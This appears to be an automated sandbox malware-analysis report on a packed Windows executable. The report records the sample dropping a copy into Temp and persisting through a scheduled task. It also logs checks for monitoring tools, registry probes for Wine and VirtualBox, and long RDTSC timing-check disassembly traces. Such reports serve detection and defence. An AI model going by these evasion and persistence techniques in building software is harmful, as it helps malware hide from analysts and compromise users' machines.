Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 1.2.rapes.exe.640000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 5.2.rapes.exe.640000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xzfgaoro:EW;aqeylmuw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: rapes.exe.0.dr	Static PE information: real checksum: 0x21c52a should be: 0x210c90
Source: ET3Sc57mx4.exe	Static PE information: real checksum: 0x21c52a should be: 0x210c90

Source: ET3Sc57mx4.exe	Static PE information: section name:
Source: ET3Sc57mx4.exe	Static PE information: section name: .idata
Source: ET3Sc57mx4.exe	Static PE information: section name:
Source: ET3Sc57mx4.exe	Static PE information: section name: xzfgaoro
Source: ET3Sc57mx4.exe	Static PE information: section name: aqeylmuw
Source: ET3Sc57mx4.exe	Static PE information: section name: .taggant
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: xzfgaoro
Source: rapes.exe.0.dr	Static PE information: section name: aqeylmuw
Source: rapes.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 5_2_00669FC1 push ecx; ret

5_2_00669FD4

Source: ET3Sc57mx4.exe	Static PE information: section name: entropy: 7.070278786908433
Source: ET3Sc57mx4.exe	Static PE information: section name: xzfgaoro entropy: 7.953997332289031
Source: rapes.exe.0.dr	Static PE information: section name: entropy: 7.070278786908433
Source: rapes.exe.0.dr	Static PE information: section name: xzfgaoro entropy: 7.953997332289031

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 822F84 second address: 822F8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 822F8F second address: 822847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FDFED132BA0h 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1CEBh], ecx 0x00000013 push dword ptr [ebp+122D033Dh] 0x00000019 pushad 0x0000001a mov esi, dword ptr [ebp+122D2BDEh] 0x00000020 mov ebx, dword ptr [ebp+122D2B72h] 0x00000026 popad 0x00000027 call dword ptr [ebp+122D1B38h] 0x0000002d pushad 0x0000002e cmc 0x0000002f xor eax, eax 0x00000031 stc 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 mov dword ptr [ebp+122D1F3Ah], ecx 0x0000003c mov dword ptr [ebp+122D2A16h], eax 0x00000042 jmp 00007FDFED132B9Ch 0x00000047 mov esi, 0000003Ch 0x0000004c stc 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 mov dword ptr [ebp+122D1F3Ah], eax 0x00000057 lodsw 0x00000059 jg 00007FDFED132B9Ch 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D195Eh], ecx 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d jmp 00007FDFED132BA7h 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007FDFED132BA2h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98BC89 second address: 98BC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98BC91 second address: 98BCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED132BA9h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98BCAF second address: 98BCCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFEC77A6C1h 0x00000008 jng 00007FDFEC77A6B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9952E3 second address: 9952E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 99544E second address: 995459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 997F5C second address: 822847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFED132BA3h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 21CE575Ah 0x00000014 xor dh, FFFFFFE4h 0x00000017 push dword ptr [ebp+122D033Dh] 0x0000001d cld 0x0000001e call dword ptr [ebp+122D1B38h] 0x00000024 pushad 0x00000025 cmc 0x00000026 xor eax, eax 0x00000028 stc 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d mov dword ptr [ebp+122D1F3Ah], ecx 0x00000033 mov dword ptr [ebp+122D2A16h], eax 0x00000039 jmp 00007FDFED132B9Ch 0x0000003e mov esi, 0000003Ch 0x00000043 stc 0x00000044 add esi, dword ptr [esp+24h] 0x00000048 mov dword ptr [ebp+122D1F3Ah], eax 0x0000004e lodsw 0x00000050 jg 00007FDFED132B9Ch 0x00000056 add eax, dword ptr [esp+24h] 0x0000005a mov dword ptr [ebp+122D195Eh], ecx 0x00000060 mov ebx, dword ptr [esp+24h] 0x00000064 jmp 00007FDFED132BA7h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FDFED132BA2h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9980A0 second address: 9980D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jne 00007FDFEC77A6C0h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDFEC77A6C7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9980D4 second address: 998100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FDFED132BA7h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 998100 second address: 998104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 998104 second address: 998108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9981ED second address: 9981F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9981F2 second address: 99824F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED132BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D2731h], esi 0x00000010 push 00000000h 0x00000012 and ecx, dword ptr [ebp+122D1D79h] 0x00000018 push A9617498h 0x0000001d push ecx 0x0000001e push ebx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pop ebx 0x00000022 pop ecx 0x00000023 add dword ptr [esp], 569E8BE8h 0x0000002a mov ecx, dword ptr [ebp+122D29CEh] 0x00000030 mov edx, 528BA942h 0x00000035 push 00000003h 0x00000037 push 00000000h 0x00000039 clc 0x0000003a push 00000003h 0x0000003c stc 0x0000003d call 00007FDFED132B99h 0x00000042 pushad 0x00000043 push esi 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 99824F second address: 998267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 ja 00007FDFEC77A6B6h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007FDFEC77A6BCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 998267 second address: 998275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 998275 second address: 99828B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFEC77A6C1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 99828B second address: 9982B3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDFED132BA8h 0x00000008 jmp 00007FDFED132BA2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FDFED132B98h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9982B3 second address: 9982C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9982C3 second address: 998329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+122D28F2h] 0x0000000f lea ebx, dword ptr [ebp+12448E87h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007FDFED132B98h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov ecx, dword ptr [ebp+122D287Ah] 0x00000035 xchg eax, ebx 0x00000036 pushad 0x00000037 jmp 00007FDFED132B9Eh 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FDFED132BA5h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 998329 second address: 998340 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007FDFEC77A6BBh 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B80A8 second address: 9B80BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDFED132B9Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B80BB second address: 9B80BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B80BF second address: 9B80C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B80C5 second address: 9B80CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B80CB second address: 9B80E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFED132BA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B824D second address: 9B8252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B8252 second address: 9B8269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFED132B9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B8269 second address: 9B8273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B83AD second address: 9B83B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B83B1 second address: 9B83C8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDFEC77A6B6h 0x00000008 jbe 00007FDFEC77A6B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B83C8 second address: 9B83CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B83CE second address: 9B83D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B83D2 second address: 9B83D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B8C5F second address: 9B8C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFEC77A6C9h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B8C80 second address: 9B8C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B8DF2 second address: 9B8E23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFEC77A6C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FDFEC77A6C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B9140 second address: 9B914B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FDFED132B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B914B second address: 9B9151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B9151 second address: 9B9164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FDFED132B96h 0x0000000d jp 00007FDFED132B96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97E471 second address: 97E49C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDFEC77A6C5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDFEC77A6C0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97E49C second address: 97E4C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED132BA3h 0x00000007 push ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a je 00007FDFED132B96h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pushad 0x00000017 popad 0x00000018 jns 00007FDFED132B96h 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B9D2C second address: 9B9D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B9D32 second address: 9B9D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDFED132B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9B9D3C second address: 9B9D59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFEC77A6C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9BB0D3 second address: 9BB0E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFED132BA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9BC7D1 second address: 9BC7F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFEC77A6BCh 0x00000008 jmp 00007FDFEC77A6BCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9BC7F6 second address: 9BC7FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9BC975 second address: 9BC979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98F1D7 second address: 98F1DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98F1DD second address: 98F21D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FDFEC77A6C3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDFEC77A6BAh 0x00000014 jng 00007FDFEC77A6C9h 0x0000001a push edi 0x0000001b pop edi 0x0000001c jmp 00007FDFEC77A6C1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98F21D second address: 98F23A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDFED132BA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C4F61 second address: 9C4F6D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDFEC77A6B6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C525A second address: 9C525E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C525E second address: 9C526C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDFEC77A6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C585D second address: 9C5863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C5863 second address: 9C5873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007FDFEC77A6B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C5873 second address: 9C5877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C5877 second address: 9C587D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C788E second address: 9C7892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7892 second address: 9C78A4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDFEC77A6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FDFEC77A6BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7999 second address: 9C79CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFED132BA6h 0x00000008 jmp 00007FDFED132BA0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C79CE second address: 9C79D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
